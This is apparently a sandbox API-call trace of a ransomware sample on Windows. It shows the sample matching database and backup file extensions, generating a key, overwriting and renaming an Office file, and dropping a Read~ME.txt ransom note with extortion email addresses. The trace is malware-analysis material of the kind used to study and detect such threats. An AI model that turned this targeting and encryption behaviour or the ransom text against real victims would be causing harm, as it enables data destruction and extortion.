	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".eql") returned 0x0
	[0080.860] lstrlenW (lpString=".DBF") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DBF") returned 0x0
	[0080.860] lstrlenW (lpString=".EQL") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".EQL") returned 0x0
	[0080.860] lstrlenW (lpString=".FDB") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".FDB") returned 0x0
	[0080.860] lstrlenW (lpString=".EDB") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".EDB") returned 0x0
	[0080.860] lstrlenW (lpString=".DACPAC") returned 7
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DACPAC") returned 0x0
	[0080.860] lstrlenW (lpString=".VHD") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".VHD") returned 0x0
	[0080.860] lstrlenW (lpString=".DBV") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DBV") returned 0x0
	[0080.860] lstrlenW (lpString=".dacpac") returned 7
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".dacpac") returned 0x0
	[0080.860] lstrlenW (lpString=".sdf") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".sdf") returned 0x0
	[0080.860] lstrlenW (lpString=".accdb") returned 6
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".accdb") returned 0x0
	[0080.860] lstrlenW (lpString=".DBX") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DBX") returned 0x0
	[0080.860] lstrlenW (lpString=".MDT") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".MDT") returned 0x0
	[0080.861] lstrlenW (lpString=".SQB") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".SQB") returned 0x0
	[0080.861] lstrlenW (lpString=".vhd") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".vhd") returned 0x0
	[0080.861] lstrlenW (lpString=".bac") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".bac") returned 0x0
	[0080.861] lstrlenW (lpString=".mdf") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".mdf") returned 0x0
	[0080.861] lstrlenW (lpString=".BAK") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".BAK") returned 0x0
	[0080.861] lstrlenW (lpString=".BAC") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".BAC") returned 0x0
	[0080.861] lstrlenW (lpString=".dbs") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".dbs") returned 0x0
	[0080.861] lstrlenW (lpString=".vhdx") returned 5
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".vhdx") returned 0x0
	[0080.861] lstrlenW (lpString=".NDF") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".NDF") returned 0x0
	[0080.861] lstrlenW (lpString=".dat") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".dat") returned 0x0
	[0080.861] lstrlenW (lpString=".DBS") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DBS") returned 0x0
	[0080.861] lstrlenW (lpString=".CKP") returned 4
	[0080.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".CKP") returned 0x0
	[0080.861] lstrlenW (lpString=".edb") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".edb") returned 0x0
	[0080.862] lstrlenW (lpString=".PST") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".PST") returned 0x0
	[0080.862] lstrlenW (lpString=".dbf") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".dbf") returned 0x0
	[0080.862] lstrlenW (lpString=".SQL") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".SQL") returned 0x0
	[0080.862] lstrlenW (lpString=".pst") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".pst") returned 0x0
	[0080.862] lstrlenW (lpString=".dbv") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".dbv") returned 0x0
	[0080.862] lstrlenW (lpString=".SDF") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".SDF") returned 0x0
	[0080.862] lstrlenW (lpString=".dtxs") returned 5
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".dtxs") returned 0x0
	[0080.862] lstrlenW (lpString=".db3") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".db3") returned 0x0
	[0080.862] lstrlenW (lpString=".OST") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".OST") returned 0x0
	[0080.862] lstrlenW (lpString=".dbx") returned 4
	[0080.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".dbx") returned 0x0
	[0080.862] lstrlenW (lpString=".DB3") returned 4
	[0080.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DB3") returned 0x0
	[0080.863] lstrlenW (lpString=".DAT") returned 4
	[0080.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DAT") returned 0x0
	[0080.863] lstrlenW (lpString=".VHDX") returned 5
	[0080.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".VHDX") returned 0x0
	[0080.863] lstrlenW (lpString=".ndf") returned 4
	[0080.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".ndf") returned 0x0
	[0080.863] lstrlenW (lpString=".DB") returned 3
	[0080.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DB") returned 0x0
	[0080.863] lstrlenW (lpString=".sql") returned 4
	[0080.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".sql") returned 0x0
	[0080.863] lstrlenW (lpString=".MYD") returned 4
	[0080.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".MYD") returned 0x0
	[0080.864] lstrlenW (lpString=".DBT") returned 4
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DBT") returned 0x0
	[0080.864] lstrlenW (lpString=".ACCDB") returned 6
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".ACCDB") returned 0x0
	[0080.864] lstrlenW (lpString=".fdb") returned 4
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".fdb") returned 0x0
	[0080.864] lstrlenW (lpString=".bak") returned 4
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".bak") returned 0x0
	[0080.864] lstrlenW (lpString=".myd") returned 4
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".myd") returned 0x0
	[0080.864] lstrlenW (lpString=".DTXS") returned 5
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".DTXS") returned 0x0
	[0080.864] lstrlenW (lpString=".ckp") returned 4
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".ckp") returned 0x0
	[0080.864] lstrlenW (lpString=".dbt") returned 4
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".dbt") returned 0x0
	[0080.864] lstrlenW (lpString=".db") returned 3
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".db") returned 0x0
	[0080.864] lstrlenW (lpString=".TXT") returned 4
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".TXT") returned 0x0
	[0080.864] lstrlenW (lpString=".MDF") returned 4
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".MDF") returned 0x0
	[0080.864] lstrlenW (lpString=".bdb") returned 4
	[0080.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".bdb") returned 0x0
	[0080.864] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.865] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0080.866] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.866] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.866] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20085583782) returned 1
	[0080.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a0df4f0, dwHighDateTime=0x1d60e1e)) 
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa698
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa698 | out: hHeap=0x300000) returned 1
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.866] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0080.866] GetLastError () returned 0x0
	[0080.867] GetLastError () returned 0x0
	[0080.867] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0080.867] GetLastError () returned 0x0
	[0080.867] GetLastError () returned 0x0
	[0080.867] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x9339, lpOverlapped=0x0) returned 1
	[0080.869] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff6cc7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.869] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x9339, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x9339, lpOverlapped=0x0) returned 1
	[0080.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.870] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.870] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.870] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.870] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.870] CloseHandle (hObject=0x128) returned 1
	[0080.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3fa7b0
	[0080.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.~~~~")) returned 1
	[0080.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa7b0 | out: hHeap=0x300000) returned 1
	[0080.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.874] GetLastError () returned 0x0
	[0080.874] RtlWakeConditionVariable () returned 0x365f70
	[0080.875] GetCurrentThreadId () returned 0x9cc
	[0080.875] GetCurrentThreadId () returned 0x9cc
	[0080.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff810 | out: hHeap=0x300000) returned 1
	[0080.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa660 | out: hHeap=0x300000) returned 1
	[0080.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff810
	[0080.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.896] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0080.896] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0080.897] CloseHandle (hObject=0x134) returned 1
	[0080.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff810 | out: hHeap=0x300000) returned 1
	[0080.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801388 | out: hHeap=0x300000) returned 1
	[0080.897] RtlWakeConditionVariable () returned 0x365f70
	[0080.897] GetCurrentThreadId () returned 0x9cc
	[0080.898] GetCurrentThreadId () returned 0x9cc
	[0080.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff8f8 | out: hHeap=0x300000) returned 1
	[0080.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa820 | out: hHeap=0x300000) returned 1
	[0080.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff8f8
	[0080.898] lstrlenW (lpString=".scr") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".scr") returned 0x0
	[0080.898] lstrlenW (lpString=".cmd") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".cmd") returned 0x0
	[0080.898] lstrlenW (lpString=".dll") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".dll") returned 0x0
	[0080.898] lstrlenW (lpString=".bat") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".bat") returned 0x0
	[0080.898] lstrlenW (lpString=".cpl") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".cpl") returned 0x0
	[0080.898] lstrlenW (lpString=".sys") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".sys") returned 0x0
	[0080.898] lstrlenW (lpString=".msc") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".msc") returned 0x0
	[0080.898] lstrlenW (lpString=".com") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".com") returned 0x0
	[0080.898] lstrlenW (lpString=".lnk") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".lnk") returned 0x0
	[0080.898] lstrlenW (lpString=".msp") returned 4
	[0080.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".msp") returned 0x0
	[0080.899] lstrlenW (lpString=".pif") returned 4
	[0080.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".pif") returned 0x0
	[0080.899] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.899] lstrlenW (lpString=".sqb") returned 4
	[0080.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".sqb") returned 0x0
	[0080.899] lstrlenW (lpString=".ost") returned 4
	[0080.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".ost") returned 0x0
	[0080.899] lstrlenW (lpString=".txt") returned 4
	[0080.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".txt") returned 0x0
	[0080.899] lstrlenW (lpString=".mdt") returned 4
	[0080.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".mdt") returned 0x0
	[0080.899] lstrlenW (lpString=".BDB") returned 4
	[0080.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".BDB") returned 0x0
